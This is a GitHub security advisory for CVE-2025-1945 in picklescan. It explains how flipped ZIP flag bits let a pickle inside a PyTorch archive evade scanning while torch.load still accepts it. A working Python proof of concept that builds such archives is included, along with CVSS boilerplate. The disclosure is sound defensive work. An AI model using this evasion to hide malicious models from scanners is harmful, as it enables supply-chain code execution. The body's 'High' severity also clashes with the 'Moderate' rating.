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Zip Flag Bit Exploit Crashes Picklescan But Not PyTorch

Moderate severity GitHub Reviewed Published Mar 9, 2025 in mmaitre314/picklescan • Updated Mar 10, 2025

Package

pip picklescan (pip)

Affected versions

< 0.0.23

Patched versions

0.0.23

Description

Summary

PickleScan fails to detect malicious pickle files inside PyTorch model archives when certain ZIP file flag bits are modified. By flipping specific bits in the ZIP file headers, an attacker can embed malicious pickle files that remain undetected by PickleScan while still being successfully loaded by PyTorch's torch.load(). This can lead to arbitrary code execution when loading a compromised model.

Details

PickleScan relies on Python’s zipfile module to extract and scan files within ZIP-based model archives. However, certain flag bits in ZIP headers affect how files are interpreted, and some of these bits cause PickleScan to fail while leaving PyTorch’s loading mechanism unaffected.

By modifying the flag_bits field in the ZIP file entry, an attacker can:

  • Embed a malicious pickle file (bad_file.pkl) in a PyTorch model archive.
  • Flip specific bits (e.g., 0x1, 0x20, 0x40) in the ZIP metadata.
  • Prevent PickleScan from scanning the archive due to errors raised by zipfile.
  • Successfully load the model with torch.load(), which ignores the flag modifications.

This technique effectively bypasses PickleScan's security checks while maintaining model functionality.

PoC

import os
import zipfile
import torch
from picklescan import cli

def can_scan(zip_file):
    try:
        cli.print_summary(False, cli.scan_file_path(zip_file))
        return True
    except Exception:
        return False

bit_to_flip = 0x1  # Change to 0x20 or 0x40 to test different flag bits

zip_file = "model.pth"
model = {'a': 1, 'b': 2, 'c': 3}
torch.save(model, zip_file)

with zipfile.ZipFile(zip_file, "r") as source:
    flipped_name = f"flipped_{bit_to_flip}_{zip_file}"
    with zipfile.ZipFile(flipped_name, "w") as dest:
        bad_file = zipfile.ZipInfo("model/bad_file.pkl")
        
        # Modify the ZIP flag bits
        bad_file.flag_bits |= bit_to_flip
        
        dest.writestr(bad_file, b"bad content")
        for item in source.infolist():
            dest.writestr(item, source.read(item.filename))

if model == torch.load(flipped_name, weights_only=False):
    if not can_scan(flipped_name):
        print('Found exploitable bit:', bit_to_flip)
else:
    os.remove(flipped_name)

Impact

Severity: High

  • Who is impacted? Any organization or user relying on PickleScan to detect malicious pickle files inside PyTorch models.
  • What is the impact? Attackers can embed malicious pickle payloads inside PyTorch models that evade PickleScan's detection but still execute upon loading.
  • Potential Exploits: This vulnerability could be exploited in machine learning supply chain attacks, allowing attackers to distribute backdoored models on platforms like Hugging Face or PyTorch Hub.

Recommendations

  • Improve ZIP Handling: PickleScan should use a more relaxed ZIP parser marches on when encountering modified flag bits.
  • Scan All Embedded Files Regardless of Flags: Ensure that files with altered metadata are still extracted and analyzed.

By addressing these issues, PickleScan can provide stronger protection against manipulated PyTorch model archives.

References

@mmaitre314 mmaitre314 published to mmaitre314/picklescan Mar 9, 2025
Published to the GitHub Advisory Database Mar 10, 2025
Reviewed Mar 10, 2025
Last updated Mar 10, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality None
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(18th percentile)

Weaknesses

CVE ID

CVE-2025-1945

GHSA ID

GHSA-w8jq-xcqf-f792

Source code

Credits

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